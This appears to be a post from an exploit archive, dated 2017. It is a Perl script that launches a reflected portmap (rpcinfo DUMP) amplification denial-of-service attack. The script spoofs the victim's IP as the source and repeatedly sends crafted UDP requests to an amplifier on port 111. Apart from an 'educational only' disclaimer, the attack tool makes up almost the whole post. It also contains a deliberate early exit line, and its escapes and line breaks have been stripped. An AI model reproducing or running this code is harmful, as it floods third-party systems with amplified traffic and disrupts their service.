rpcinfo Portmap DUMP Call Amplification Distributed Denial Of Service
Posted on 05 July 2017
#!/usr/bin/perl # # # rpcinfo Portmap 'DUMP' call amplification ddos # # Copyright 2017 (c) Todor Donev # todor.donev@gmail.com # https://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # # # Disclaimer: # This or previous program is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use at your own risk and educational # purpose ONLY! # # See also, UDP-based Amplification Attacks: # https://www.us-cert.gov/ncas/alerts/TA14-017A # # # use Net::RawIP; my $target = "$ARGV[0]"; my $rpcamp = "$ARGV[1]"; die("r34d 7h3 c0d3 m0r0n "); my $rpcinfo = pack ("H8", int(rand(0x10000000)))."x00x00x00x00x00x00x00x02x00x01x86xa0x00x00x00x02x00x00"; $rpcinfo .= "x00x04x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"; print "[ rpcinfo Portmap 'DUMP' call amplification ddos "; print "[ === "; print "[ Copyright 2017 (c) Todor Donev "; print "[ todor.donev@gmail.com "; print "[ https://www.ethical-hacker.org/ "; print "[ https://www.facebook.com/ethicalhackerorg "; my $sock = new Net::RawIP({ udp => {} }); while () { select(undef, undef, undef, 0.30); my $randsport = int(rand(65535)); $sock->set({ ip => { saddr => $target, daddr => $rpcamp}, udp => { source => $randsport, dest => 111, data => $rpcinfo} }); $sock->send; }
